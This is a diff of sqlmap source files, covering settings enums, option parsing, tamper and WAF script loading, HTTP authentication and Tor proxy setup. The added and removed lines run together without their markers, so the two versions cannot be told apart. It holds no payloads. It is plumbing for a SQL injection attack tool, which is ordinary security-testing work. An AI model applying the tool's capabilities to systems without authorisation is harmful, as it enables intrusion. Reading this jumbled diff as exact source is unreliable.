"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
+6
-5
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
@@ -150,6 +150,7 @@ FIREBIRD_PRIVS = {
|
||||
"U": "UPDATE",
|
||||
"D": "DELETE",
|
||||
"R": "REFERENCE",
|
||||
"E": "EXECUTE",
|
||||
"X": "EXECUTE",
|
||||
"A": "ALL",
|
||||
"M": "MEMBER",
|
||||
@@ -183,15 +184,15 @@ DB2_PRIVS = {
|
||||
DUMP_REPLACEMENTS = {" ": NULL, "": BLANK}
|
||||
|
||||
DBMS_DICT = {
|
||||
DBMS.MSSQL: (MSSQL_ALIASES, "python-pymssql", "https://github.com/pymssql/pymssql", "mssql+pymssql"),
|
||||
DBMS.MYSQL: (MYSQL_ALIASES, "python-pymysql", "https://github.com/petehunt/PyMySQL/", "mysql"),
|
||||
DBMS.MSSQL: (MSSQL_ALIASES, "python-pymssql", "http://pymssql.sourceforge.net/", "mssql+pymssql"),
|
||||
DBMS.MYSQL: (MYSQL_ALIASES, "python pymysql", "https://github.com/petehunt/PyMySQL/", "mysql"),
|
||||
DBMS.PGSQL: (PGSQL_ALIASES, "python-psycopg2", "http://initd.org/psycopg/", "postgresql"),
|
||||
DBMS.ORACLE: (ORACLE_ALIASES, "python cx_Oracle", "http://cx-oracle.sourceforge.net/", "oracle"),
|
||||
DBMS.SQLITE: (SQLITE_ALIASES, "python-sqlite", "http://packages.ubuntu.com/quantal/python-sqlite", "sqlite"),
|
||||
DBMS.ACCESS: (ACCESS_ALIASES, "python-pyodbc", "https://github.com/mkleehammer/pyodbc", "access"),
|
||||
DBMS.ACCESS: (ACCESS_ALIASES, "python-pyodbc", "http://pyodbc.googlecode.com/", "access"),
|
||||
DBMS.FIREBIRD: (FIREBIRD_ALIASES, "python-kinterbasdb", "http://kinterbasdb.sourceforge.net/", "firebird"),
|
||||
DBMS.MAXDB: (MAXDB_ALIASES, None, None, "maxdb"),
|
||||
DBMS.SYBASE: (SYBASE_ALIASES, "python-pymssql", "https://github.com/pymssql/pymssql", "sybase"),
|
||||
DBMS.SYBASE: (SYBASE_ALIASES, "python-pymssql", "http://pymssql.sourceforge.net/", "sybase"),
|
||||
DBMS.DB2: (DB2_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"),
|
||||
DBMS.HSQLDB: (HSQLDB_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/", None),
|
||||
DBMS.INFORMIX: (INFORMIX_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"),
|
||||
|
||||
+1
-1
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
+26
-33
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
@@ -176,7 +176,6 @@ class HTTP_HEADER:
|
||||
PROXY_CONNECTION = "Proxy-Connection"
|
||||
RANGE = "Range"
|
||||
REFERER = "Referer"
|
||||
REFRESH = "Refresh" # Reference: http://stackoverflow.com/a/283794
|
||||
SERVER = "Server"
|
||||
SET_COOKIE = "Set-Cookie"
|
||||
TRANSFER_ENCODING = "Transfer-Encoding"
|
||||
@@ -287,32 +286,31 @@ class WEB_API:
|
||||
JSP = "jsp"
|
||||
|
||||
class CONTENT_TYPE:
|
||||
TARGET = 0
|
||||
TECHNIQUES = 1
|
||||
DBMS_FINGERPRINT = 2
|
||||
BANNER = 3
|
||||
CURRENT_USER = 4
|
||||
CURRENT_DB = 5
|
||||
HOSTNAME = 6
|
||||
IS_DBA = 7
|
||||
USERS = 8
|
||||
PASSWORDS = 9
|
||||
PRIVILEGES = 10
|
||||
ROLES = 11
|
||||
DBS = 12
|
||||
TABLES = 13
|
||||
COLUMNS = 14
|
||||
SCHEMA = 15
|
||||
COUNT = 16
|
||||
DUMP_TABLE = 17
|
||||
SEARCH = 18
|
||||
SQL_QUERY = 19
|
||||
COMMON_TABLES = 20
|
||||
COMMON_COLUMNS = 21
|
||||
FILE_READ = 22
|
||||
FILE_WRITE = 23
|
||||
OS_CMD = 24
|
||||
REG_READ = 25
|
||||
TECHNIQUES = 0
|
||||
DBMS_FINGERPRINT = 1
|
||||
BANNER = 2
|
||||
CURRENT_USER = 3
|
||||
CURRENT_DB = 4
|
||||
HOSTNAME = 5
|
||||
IS_DBA = 6
|
||||
USERS = 7
|
||||
PASSWORDS = 8
|
||||
PRIVILEGES = 9
|
||||
ROLES = 10
|
||||
DBS = 11
|
||||
TABLES = 12
|
||||
COLUMNS = 13
|
||||
SCHEMA = 14
|
||||
COUNT = 15
|
||||
DUMP_TABLE = 16
|
||||
SEARCH = 17
|
||||
SQL_QUERY = 18
|
||||
COMMON_TABLES = 19
|
||||
COMMON_COLUMNS = 20
|
||||
FILE_READ = 21
|
||||
FILE_WRITE = 22
|
||||
OS_CMD = 23
|
||||
REG_READ = 24
|
||||
|
||||
PART_RUN_CONTENT_TYPES = {
|
||||
"checkDbms": CONTENT_TYPE.TECHNIQUES,
|
||||
@@ -368,8 +366,3 @@ class MKSTEMP_PREFIX:
|
||||
RESULTS = "sqlmapresults-"
|
||||
COOKIE_JAR = "sqlmapcookiejar-"
|
||||
BIG_ARRAY = "sqlmapbigarray-"
|
||||
|
||||
class TIMEOUT_STATE:
|
||||
NORMAL = 0
|
||||
EXCEPTION = 1
|
||||
TIMEOUT = 2
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
+1
-1
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
Executable → Regular
+60
-105
@@ -1,11 +1,10 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
import binascii
|
||||
import cookielib
|
||||
import glob
|
||||
import inspect
|
||||
@@ -39,7 +38,6 @@ from lib.core.common import getPublicTypeMembers
|
||||
from lib.core.common import getSafeExString
|
||||
from lib.core.common import extractRegexResult
|
||||
from lib.core.common import filterStringValue
|
||||
from lib.core.common import findLocalPort
|
||||
from lib.core.common import findPageForms
|
||||
from lib.core.common import getConsoleWidth
|
||||
from lib.core.common import getFileItems
|
||||
@@ -110,7 +108,7 @@ from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR
|
||||
from lib.core.settings import DBMS_ALIASES
|
||||
from lib.core.settings import DEFAULT_PAGE_ENCODING
|
||||
from lib.core.settings import DEFAULT_TOR_HTTP_PORTS
|
||||
from lib.core.settings import DEFAULT_TOR_SOCKS_PORTS
|
||||
from lib.core.settings import DEFAULT_TOR_SOCKS_PORT
|
||||
from lib.core.settings import DUMMY_URL
|
||||
from lib.core.settings import IGNORE_SAVE_OPTIONS
|
||||
from lib.core.settings import INJECT_HERE_MARK
|
||||
@@ -170,12 +168,6 @@ redirectHandler = SmartRedirectHandler()
|
||||
rangeHandler = HTTPRangeHandler()
|
||||
multipartPostHandler = multipartpost.MultipartPostHandler()
|
||||
|
||||
# Reference: https://mail.python.org/pipermail/python-list/2009-November/558615.html
|
||||
try:
|
||||
WindowsError
|
||||
except NameError:
|
||||
WindowsError = None
|
||||
|
||||
def _feedTargetsDict(reqFile, addedTargetUrls):
|
||||
"""
|
||||
Parses web scarab and burp logs and adds results to the target URL list
|
||||
@@ -219,10 +211,7 @@ def _feedTargetsDict(reqFile, addedTargetUrls):
|
||||
reqResList = []
|
||||
for match in re.finditer(BURP_XML_HISTORY_REGEX, content, re.I | re.S):
|
||||
port, request = match.groups()
|
||||
try:
|
||||
request = request.decode("base64")
|
||||
except binascii.Error:
|
||||
continue
|
||||
request = request.decode("base64")
|
||||
_ = re.search(r"%s:.+" % re.escape(HTTP_HEADER.HOST), request)
|
||||
if _:
|
||||
host = _.group(0).strip()
|
||||
@@ -897,25 +886,20 @@ def _setTamperingFunctions():
|
||||
for script in re.split(PARAMETER_SPLITTING_REGEX, conf.tamper):
|
||||
found = False
|
||||
|
||||
path = paths.SQLMAP_TAMPER_PATH.encode(sys.getfilesystemencoding() or UNICODE_ENCODING)
|
||||
script = script.strip().encode(sys.getfilesystemencoding() or UNICODE_ENCODING)
|
||||
|
||||
try:
|
||||
if not script:
|
||||
continue
|
||||
if not script:
|
||||
continue
|
||||
|
||||
elif os.path.exists(os.path.join(path, script if script.endswith(".py") else "%s.py" % script)):
|
||||
script = os.path.join(path, script if script.endswith(".py") else "%s.py" % script)
|
||||
elif os.path.exists(os.path.join(paths.SQLMAP_TAMPER_PATH, script if script.endswith(".py") else "%s.py" % script)):
|
||||
script = os.path.join(paths.SQLMAP_TAMPER_PATH, script if script.endswith(".py") else "%s.py" % script)
|
||||
|
||||
elif not os.path.exists(script):
|
||||
errMsg = "tamper script '%s' does not exist" % script
|
||||
raise SqlmapFilePathException(errMsg)
|
||||
elif not os.path.exists(script):
|
||||
errMsg = "tamper script '%s' does not exist" % script
|
||||
raise SqlmapFilePathException(errMsg)
|
||||
|
||||
elif not script.endswith(".py"):
|
||||
errMsg = "tamper script '%s' should have an extension '.py'" % script
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
except UnicodeDecodeError:
|
||||
errMsg = "invalid character provided in option '--tamper'"
|
||||
elif not script.endswith(".py"):
|
||||
errMsg = "tamper script '%s' should have an extension '.py'" % script
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
||||
dirname, filename = os.path.split(script)
|
||||
@@ -933,7 +917,7 @@ def _setTamperingFunctions():
|
||||
sys.path.insert(0, dirname)
|
||||
|
||||
try:
|
||||
module = __import__(filename[:-3].encode(sys.getfilesystemencoding() or UNICODE_ENCODING))
|
||||
module = __import__(filename[:-3])
|
||||
except (ImportError, SyntaxError), ex:
|
||||
raise SqlmapSyntaxException("cannot import tamper script '%s' (%s)" % (filename[:-3], getSafeExString(ex)))
|
||||
|
||||
@@ -986,7 +970,7 @@ def _setTamperingFunctions():
|
||||
|
||||
def _setWafFunctions():
|
||||
"""
|
||||
Loads WAF/IPS/IDS detecting functions from script(s)
|
||||
Loads WAF/IDS/IPS detecting functions from script(s)
|
||||
"""
|
||||
|
||||
if conf.identifyWaf:
|
||||
@@ -1006,7 +990,7 @@ def _setWafFunctions():
|
||||
try:
|
||||
if filename[:-3] in sys.modules:
|
||||
del sys.modules[filename[:-3]]
|
||||
module = __import__(filename[:-3].encode(sys.getfilesystemencoding() or UNICODE_ENCODING))
|
||||
module = __import__(filename[:-3])
|
||||
except ImportError, msg:
|
||||
raise SqlmapSyntaxException("cannot import WAF script '%s' (%s)" % (filename[:-3], msg))
|
||||
|
||||
@@ -1050,7 +1034,7 @@ def _setSocketPreConnect():
|
||||
return
|
||||
|
||||
def _():
|
||||
while kb.get("threadContinue") and not conf.get("disablePrecon"):
|
||||
while kb.threadContinue and not conf.disablePrecon:
|
||||
try:
|
||||
for key in socket._ready:
|
||||
if len(socket._ready[key]) < SOCKET_PRE_CONNECT_QUEUE_SIZE:
|
||||
@@ -1214,7 +1198,7 @@ def _setSafeVisit():
|
||||
"""
|
||||
Check and set the safe visit options.
|
||||
"""
|
||||
if not any((conf.safeUrl, conf.safeReqFile)):
|
||||
if not any ((conf.safeUrl, conf.safeReqFile)):
|
||||
return
|
||||
|
||||
if conf.safeReqFile:
|
||||
@@ -1340,17 +1324,17 @@ def _setHTTPAuthentication():
|
||||
debugMsg = "setting the HTTP authentication type and credentials"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
authType = conf.authType.lower()
|
||||
aTypeLower = conf.authType.lower()
|
||||
|
||||
if authType in (AUTH_TYPE.BASIC, AUTH_TYPE.DIGEST):
|
||||
if aTypeLower in (AUTH_TYPE.BASIC, AUTH_TYPE.DIGEST):
|
||||
regExp = "^(.*?):(.*?)$"
|
||||
errMsg = "HTTP %s authentication credentials " % authType
|
||||
errMsg = "HTTP %s authentication credentials " % aTypeLower
|
||||
errMsg += "value must be in format 'username:password'"
|
||||
elif authType == AUTH_TYPE.NTLM:
|
||||
elif aTypeLower == AUTH_TYPE.NTLM:
|
||||
regExp = "^(.*\\\\.*):(.*?)$"
|
||||
errMsg = "HTTP NTLM authentication credentials value must "
|
||||
errMsg += "be in format 'DOMAIN\username:password'"
|
||||
elif authType == AUTH_TYPE.PKI:
|
||||
elif aTypeLower == AUTH_TYPE.PKI:
|
||||
errMsg = "HTTP PKI authentication require "
|
||||
errMsg += "usage of option `--auth-pki`"
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
@@ -1367,13 +1351,13 @@ def _setHTTPAuthentication():
|
||||
|
||||
_setAuthCred()
|
||||
|
||||
if authType == AUTH_TYPE.BASIC:
|
||||
if aTypeLower == AUTH_TYPE.BASIC:
|
||||
authHandler = SmartHTTPBasicAuthHandler(kb.passwordMgr)
|
||||
|
||||
elif authType == AUTH_TYPE.DIGEST:
|
||||
elif aTypeLower == AUTH_TYPE.DIGEST:
|
||||
authHandler = urllib2.HTTPDigestAuthHandler(kb.passwordMgr)
|
||||
|
||||
elif authType == AUTH_TYPE.NTLM:
|
||||
elif aTypeLower == AUTH_TYPE.NTLM:
|
||||
try:
|
||||
from ntlm import HTTPNtlmAuthHandler
|
||||
except ImportError:
|
||||
@@ -1779,32 +1763,15 @@ def _cleanupOptions():
|
||||
if conf.binaryFields:
|
||||
conf.binaryFields = re.sub(r"\s*,\s*", ",", conf.binaryFields)
|
||||
|
||||
if any((conf.proxy, conf.proxyFile, conf.tor)):
|
||||
conf.disablePrecon = True
|
||||
|
||||
threadData = getCurrentThreadData()
|
||||
threadData.reset()
|
||||
|
||||
def _cleanupEnvironment():
|
||||
"""
|
||||
Cleanup environment (e.g. from leftovers after --sqlmap-shell).
|
||||
"""
|
||||
|
||||
if issubclass(urllib2.socket.socket, socks.socksocket):
|
||||
socks.unwrapmodule(urllib2)
|
||||
|
||||
if hasattr(socket, "_ready"):
|
||||
socket._ready.clear()
|
||||
|
||||
def _dirtyPatches():
|
||||
"""
|
||||
Place for "dirty" Python related patches
|
||||
"""
|
||||
|
||||
httplib._MAXLINE = 1 * 1024 * 1024 # accept overly long result lines (e.g. SQLi results in HTTP header responses)
|
||||
|
||||
if IS_WIN:
|
||||
from thirdparty.wininetpton import win_inet_pton # add support for inet_pton() on Windows OS
|
||||
httplib._MAXLINE = 1 * 1024 * 1024 # to accept overly long result lines (e.g. SQLi results in HTTP header responses)
|
||||
|
||||
def _purgeOutput():
|
||||
"""
|
||||
@@ -1890,8 +1857,6 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
||||
|
||||
kb.columnExistsChoice = None
|
||||
kb.commonOutputs = None
|
||||
kb.connErrorChoice = None
|
||||
kb.connErrorCounter = 0
|
||||
kb.cookieEncodeChoice = None
|
||||
kb.counters = {}
|
||||
kb.data = AttribDict()
|
||||
@@ -1941,7 +1906,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
||||
kb.lastParserStatus = None
|
||||
|
||||
kb.locks = AttribDict()
|
||||
for _ in ("cache", "connError", "count", "index", "io", "limit", "log", "socket", "redirect", "request", "value"):
|
||||
for _ in ("cache", "count", "index", "io", "limit", "log", "socket", "redirect", "request", "value"):
|
||||
kb.locks[_] = threading.Lock()
|
||||
|
||||
kb.matchRatio = None
|
||||
@@ -2231,22 +2196,13 @@ def _mergeOptions(inputOptions, overrideOptions):
|
||||
|
||||
if inputOptions.pickledOptions:
|
||||
try:
|
||||
unpickledOptions = base64unpickle(inputOptions.pickledOptions, unsafe=True)
|
||||
|
||||
if type(unpickledOptions) == dict:
|
||||
unpickledOptions = AttribDict(unpickledOptions)
|
||||
|
||||
_normalizeOptions(unpickledOptions)
|
||||
|
||||
unpickledOptions["pickledOptions"] = None
|
||||
for key in inputOptions:
|
||||
if key not in unpickledOptions:
|
||||
unpickledOptions[key] = inputOptions[key]
|
||||
|
||||
inputOptions = unpickledOptions
|
||||
inputOptions = base64unpickle(inputOptions.pickledOptions)
|
||||
if type(inputOptions) == dict:
|
||||
inputOptions = AttribDict(inputOptions)
|
||||
_normalizeOptions(inputOptions)
|
||||
except Exception, ex:
|
||||
errMsg = "provided invalid value '%s' for option '--pickled-options'" % inputOptions.pickledOptions
|
||||
errMsg += " (%s)" % repr(ex)
|
||||
errMsg += " ('%s')" % ex if ex.message else ""
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
||||
if inputOptions.configFile:
|
||||
@@ -2261,10 +2217,9 @@ def _mergeOptions(inputOptions, overrideOptions):
|
||||
if key not in conf or value not in (None, False) or overrideOptions:
|
||||
conf[key] = value
|
||||
|
||||
if not hasattr(conf, "api"):
|
||||
for key, value in conf.items():
|
||||
if value is not None:
|
||||
kb.explicitSettings.add(key)
|
||||
for key, value in conf.items():
|
||||
if value is not None:
|
||||
kb.explicitSettings.add(key)
|
||||
|
||||
for key, value in defaults.items():
|
||||
if hasattr(conf, key) and conf[key] is None:
|
||||
@@ -2296,7 +2251,7 @@ def _setTrafficOutputFP():
|
||||
conf.trafficFP = openFile(conf.trafficFile, "w+")
|
||||
|
||||
def _setDNSServer():
|
||||
if not conf.dnsDomain:
|
||||
if not conf.dnsName:
|
||||
return
|
||||
|
||||
infoMsg = "setting up DNS server instance"
|
||||
@@ -2324,7 +2279,7 @@ def _setProxyList():
|
||||
return
|
||||
|
||||
conf.proxyList = []
|
||||
for match in re.finditer(r"(?i)((http[^:]*|socks[^:]*)://)?([\w\-.]+):(\d+)", readCachedFileContent(conf.proxyFile)):
|
||||
for match in re.finditer(r"(?i)((http[^:]*|socks[^:]*)://)?([\w.]+):(\d+)", readCachedFileContent(conf.proxyFile)):
|
||||
_, type_, address, port = match.groups()
|
||||
conf.proxyList.append("%s://%s:%s" % (type_ or "http", address, port))
|
||||
|
||||
@@ -2341,14 +2296,28 @@ def _setTorHttpProxySettings():
|
||||
infoMsg = "setting Tor HTTP proxy settings"
|
||||
logger.info(infoMsg)
|
||||
|
||||
port = findLocalPort(DEFAULT_TOR_HTTP_PORTS if not conf.torPort else (conf.torPort,))
|
||||
s = None
|
||||
found = None
|
||||
|
||||
if port:
|
||||
conf.proxy = "http://%s:%d" % (LOCALHOST, port)
|
||||
for port in (DEFAULT_TOR_HTTP_PORTS if not conf.torPort else (conf.torPort,)):
|
||||
try:
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect((LOCALHOST, port))
|
||||
found = port
|
||||
break
|
||||
except socket.error:
|
||||
pass
|
||||
|
||||
if s:
|
||||
s.close()
|
||||
|
||||
if found:
|
||||
conf.proxy = "http://%s:%d" % (LOCALHOST, found)
|
||||
else:
|
||||
errMsg = "can't establish connection with the Tor HTTP proxy. "
|
||||
errMsg += "Please make sure that you have Tor (bundle) installed and setup "
|
||||
errMsg += "so you could be able to successfully use switch '--tor' "
|
||||
errMsg += "Please make sure that you have Vidalia, Privoxy or "
|
||||
errMsg += "Polipo bundle installed for you to be able to "
|
||||
errMsg += "successfully use switch '--tor' "
|
||||
|
||||
raise SqlmapConnectionException(errMsg)
|
||||
|
||||
@@ -2364,17 +2333,8 @@ def _setTorSocksProxySettings():
|
||||
infoMsg = "setting Tor SOCKS proxy settings"
|
||||
logger.info(infoMsg)
|
||||
|
||||
port = findLocalPort(DEFAULT_TOR_SOCKS_PORTS if not conf.torPort else (conf.torPort,))
|
||||
|
||||
if not port:
|
||||
errMsg = "can't establish connection with the Tor SOCKS proxy. "
|
||||
errMsg += "Please make sure that you have Tor service installed and setup "
|
||||
errMsg += "so you could be able to successfully use switch '--tor' "
|
||||
|
||||
raise SqlmapConnectionException(errMsg)
|
||||
|
||||
# SOCKS5 to prevent DNS leaks (http://en.wikipedia.org/wiki/Tor_%28anonymity_network%29)
|
||||
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5 if conf.torType == PROXY_TYPE.SOCKS5 else socks.PROXY_TYPE_SOCKS4, LOCALHOST, port)
|
||||
# Has to be SOCKS5 to prevent DNS leaks (http://en.wikipedia.org/wiki/Tor_%28anonymity_network%29)
|
||||
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5 if conf.torType == PROXY_TYPE.SOCKS5 else socks.PROXY_TYPE_SOCKS4, LOCALHOST, conf.torPort or DEFAULT_TOR_SOCKS_PORT)
|
||||
socks.wrapmodule(urllib2)
|
||||
|
||||
def _checkWebSocket():
|
||||
@@ -2436,10 +2396,6 @@ def _basicOptionValidation():
|
||||
errMsg = "switch '--text-only' is incompatible with switch '--null-connection'"
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
||||
if conf.eta and conf.verbose > defaults.verbose:
|
||||
errMsg = "switch '--eta' is incompatible with option '-v'"
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
||||
if conf.direct and conf.url:
|
||||
errMsg = "option '-d' is incompatible with option '-u' ('--url')"
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
@@ -2487,14 +2443,14 @@ def _basicOptionValidation():
|
||||
if conf.regexp:
|
||||
try:
|
||||
re.compile(conf.regexp)
|
||||
except Exception, ex:
|
||||
except re.error, ex:
|
||||
errMsg = "invalid regular expression '%s' ('%s')" % (conf.regexp, getSafeExString(ex))
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
||||
if conf.crawlExclude:
|
||||
try:
|
||||
re.compile(conf.crawlExclude)
|
||||
except Exception, ex:
|
||||
except re.error, ex:
|
||||
errMsg = "invalid regular expression '%s' ('%s')" % (conf.crawlExclude, getSafeExString(ex))
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
||||
@@ -2653,7 +2609,6 @@ def init():
|
||||
_saveConfig()
|
||||
_setRequestFromFile()
|
||||
_cleanupOptions()
|
||||
_cleanupEnvironment()
|
||||
_dirtyPatches()
|
||||
_purgeOutput()
|
||||
_checkDependencies()
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
@@ -38,13 +38,10 @@ optDict = {
|
||||
"authType": "string",
|
||||
"authCred": "string",
|
||||
"authFile": "string",
|
||||
"ignore401": "boolean",
|
||||
"ignoreProxy": "boolean",
|
||||
"ignoreRedirects": "boolean",
|
||||
"ignoreTimeouts": "boolean",
|
||||
"proxy": "string",
|
||||
"proxyCred": "string",
|
||||
"proxyFile": "string",
|
||||
"ignoreProxy": "boolean",
|
||||
"tor": "boolean",
|
||||
"torPort": "integer",
|
||||
"torType": "string",
|
||||
@@ -77,8 +74,7 @@ optDict = {
|
||||
"testParameter": "string",
|
||||
"skip": "string",
|
||||
"skipStatic": "boolean",
|
||||
"skip": "string",
|
||||
"paramExclude": "string",
|
||||
"dbms": "string",
|
||||
"dbmsCred": "string",
|
||||
"os": "string",
|
||||
"invalidBignum": "boolean",
|
||||
@@ -108,7 +104,7 @@ optDict = {
|
||||
"uCols": "string",
|
||||
"uChar": "string",
|
||||
"uFrom": "string",
|
||||
"dnsDomain": "string",
|
||||
"dnsName": "string",
|
||||
"secondOrder": "string",
|
||||
},
|
||||
|
||||
@@ -225,11 +221,11 @@ optDict = {
|
||||
"identifyWaf": "boolean",
|
||||
"mobile": "boolean",
|
||||
"offline": "boolean",
|
||||
"pageRank": "boolean",
|
||||
"purgeOutput": "boolean",
|
||||
"skipWaf": "boolean",
|
||||
"smart": "boolean",
|
||||
"tmpDir": "string",
|
||||
"webRoot": "string",
|
||||
"wizard": "boolean",
|
||||
"verbose": "integer",
|
||||
},
|
||||
@@ -238,6 +234,7 @@ optDict = {
|
||||
"disablePrecon": "boolean",
|
||||
"profile": "boolean",
|
||||
"forceDns": "boolean",
|
||||
"ignore401": "boolean",
|
||||
"murphyRate": "integer",
|
||||
"smokeTest": "boolean",
|
||||
"liveTest": "boolean",
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
@@ -75,11 +75,6 @@ def profile(profileOutputFile=None, dotOutputFile=None, imageOutputFile=None):
|
||||
# Create graph image (png) by using pydot (python-pydot)
|
||||
# http://code.google.com/p/pydot/
|
||||
pydotGraph = pydot.graph_from_dot_file(dotOutputFile)
|
||||
|
||||
# Reference: http://stackoverflow.com/questions/38176472/graph-write-pdfiris-pdf-attributeerror-list-object-has-no-attribute-writ
|
||||
if isinstance(pydotGraph, list):
|
||||
pydotGraph = pydotGraph[0]
|
||||
|
||||
pydotGraph.write_png(imageOutputFile)
|
||||
|
||||
infoMsg = "displaying interactive graph with xdot library"
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
+5
-11
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
@@ -10,7 +10,6 @@ import sqlite3
|
||||
from extra.safe2bin.safe2bin import safechardecode
|
||||
from lib.core.common import getSafeExString
|
||||
from lib.core.common import unsafeSQLIdentificatorNaming
|
||||
from lib.core.exception import SqlmapConnectionException
|
||||
from lib.core.exception import SqlmapGenericException
|
||||
from lib.core.exception import SqlmapValueException
|
||||
from lib.core.settings import UNICODE_ENCODING
|
||||
@@ -22,15 +21,10 @@ class Replication(object):
|
||||
"""
|
||||
|
||||
def __init__(self, dbpath):
|
||||
try:
|
||||
self.dbpath = dbpath
|
||||
self.connection = sqlite3.connect(dbpath)
|
||||
self.connection.isolation_level = None
|
||||
self.cursor = self.connection.cursor()
|
||||
except sqlite3.OperationalError, ex:
|
||||
errMsg = "error occurred while opening a replication "
|
||||
errMsg += "file '%s' ('%s')" % (self.filepath, getSafeExString(ex))
|
||||
raise SqlmapConnectionException(errMsg)
|
||||
self.dbpath = dbpath
|
||||
self.connection = sqlite3.connect(dbpath)
|
||||
self.connection.isolation_level = None
|
||||
self.cursor = self.connection.cursor()
|
||||
|
||||
class DataType:
|
||||
"""
|
||||
|
||||
@@ -1,13 +1,15 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
import os
|
||||
import re
|
||||
import subprocess
|
||||
|
||||
from subprocess import PIPE
|
||||
from subprocess import Popen as execute
|
||||
|
||||
def getRevisionNumber():
|
||||
"""
|
||||
@@ -44,7 +46,7 @@ def getRevisionNumber():
|
||||
break
|
||||
|
||||
if not retVal:
|
||||
